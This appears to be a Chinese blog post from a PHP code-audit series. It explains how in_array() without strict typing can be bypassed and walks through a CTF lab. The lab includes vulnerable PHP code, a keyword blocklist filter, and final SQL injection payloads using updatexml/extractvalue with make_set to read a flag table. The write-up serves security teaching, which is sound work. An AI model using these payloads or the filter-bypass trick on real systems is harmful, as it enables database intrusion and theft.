• [代码审计Day1] in_array代码审计


     简介

    1

     简介

     in_array()

    函数搜索数组中是否存在指定的值。

    语法:in_array(search,array,type)

    参数描述
    search 必需。规定要在数组搜索的值。
    array 必需。规定要搜索的数组。
    type 可选。如果设置该参数为 true,则检查搜索的数据与数组的值的类型是否相同。
    class Challenge {
    //设置图片上传目录
      const UPLOAD_DIRECTORY = './solutions/';  
      
      private $file;
      private $whitelist;
    
     //当对创建时调用的函数
      public function __construct($file) {
         //将外部上传的图片内容信息赋值给$this->_file
        $this->file = $file;
        //设置1-24的值分别赋值给whitelist白名单 
        $this->whitelist = range(1, 24);
      }
    //当对象销毁时使用
      public function __destruct() {
        //判断传进来的图片名称是否符合白名单里面的信息 
        //这段代码的主要漏洞就在这里in_array()判断不严格 没加true 此时判断是不会判断类型的
        //所以我们可以上传1-24数字开头的值即可绕过导致图片任意上传
        if (in_array($this->file['name'], $this->whitelist)) {
          move_uploaded_file(
            $this->file['tmp_name'],
            self::UPLOAD_DIRECTORY . $this->file['name']
          );
        }
      }
    }
    $challenge = new Challenge($_FILES['solution']);

     一个CTF例子

    index.php

    <?php
    include 'config.php';
    $conn = new mysqli($servername, $username, $password, $dbname);
    if ($conn->connect_error) {
        die("连接失败: ");
    }
    
    $sql = "SELECT COUNT(*) FROM users";
    $whitelist = array();
    $result = $conn->query($sql);
    if($result->num_rows > 0){
        $row = $result->fetch_assoc();
        $whitelist = range(1, $row['COUNT(*)']);
    }
    
    $id = stop_hack($_GET['id']);
    
    // $id = $_GET['id'];
    $sql = "SELECT * FROM users WHERE id=$id";
    
    print_r($sql);
    if (!in_array($id, $whitelist)) {
        die("id $id is not in whitelist.");
    }
    
    $result = $conn->query($sql);
    if($result->num_rows > 0){
        $row = $result->fetch_assoc();
        echo "<center><table border='1'>";
        foreach ($row as $key => $value) {
            echo "<tr><td><center>$key</center></td><br>";
            echo "<td><center>$value</center></td></tr><br>";
        }
        echo "</table></center>";
    }
    else{
        die($conn->error);
    }
    
    ?>
    View Code

    config.php

    <?php  
    $servername = "localhost";
    $username = "root";
    $password = "xiaohua";
    $dbname = "day1";
    
    function stop_hack($value){
        $pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|/*|*|../|./|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
        $back_list = explode("|",$pattern);
        foreach($back_list as $hack){
            if(preg_match("/$hack/i", $value))
                die("$hack detected!");
        }
        return $value;
    }
    ?>
    View Code

    数据库

    create database day1;
    use day1;
    create table users (
    id int(6) unsigned auto_increment primary key,
    name varchar(20) not null,
    email varchar(30) not null,
    salary int(8) unsigned not null );
    
    INSERT INTO users VALUES(1,'Lucia','Lucia@hongri.com',3000);
    INSERT INTO users VALUES(2,'Danny','Danny@hongri.com',4500);
    INSERT INTO users VALUES(3,'Alina','Alina@hongri.com',2700);
    INSERT INTO users VALUES(4,'Jameson','Jameson@hongri.com',10000);
    INSERT INTO users VALUES(5,'Allie','Allie@hongri.com',6000);
    
    create table flag(flag varchar(30) not null);
    INSERT INTO flag VALUES('HRCTF{1n0rrY_i3_Vu1n3rab13}');
    View Code

    这道题目考察的是 in_array 绕过和不能使用拼接函数的 updatexml 注入这里 in_array 函数没有使用强匹配,所以是可以绕过的,例如: id=1' 是可以成功绕过 in_array 函数的。

    stop_hack函数过滤了各种数据库操作指令 如数据库连接操作可以使用make_set()函数代替

    最终payload:

    http://localhost/index.php?id=4 and (select updatexml(1,make_set(3,'~',(select flag from flag)),1))

    payload2

    http://127.0.0.1/hua01/index.php?id=1 and extractvalue(1,make_set(3,'~',select flag from flag))

     简介

    1

  • 相关阅读:
    POJ 3695 Rectangles
    POJ 2002 Squares
    linux 查看磁盘空间大小
    keymaster 快捷键管理器
    Pxloader
    as3数据类型检查写法(is/as/typeof/in/instanceof)用法介绍
    javascript的dom选择器
    javascript音频管理方案:SoundManager2
    Morris.js – 画折线图、面积图和环状图的统计图表库
    jsuri 让你方便的处理url
  • 原文地址:https://www.cnblogs.com/xhds/p/12488732.html
Copyright © 2020-2023  润新知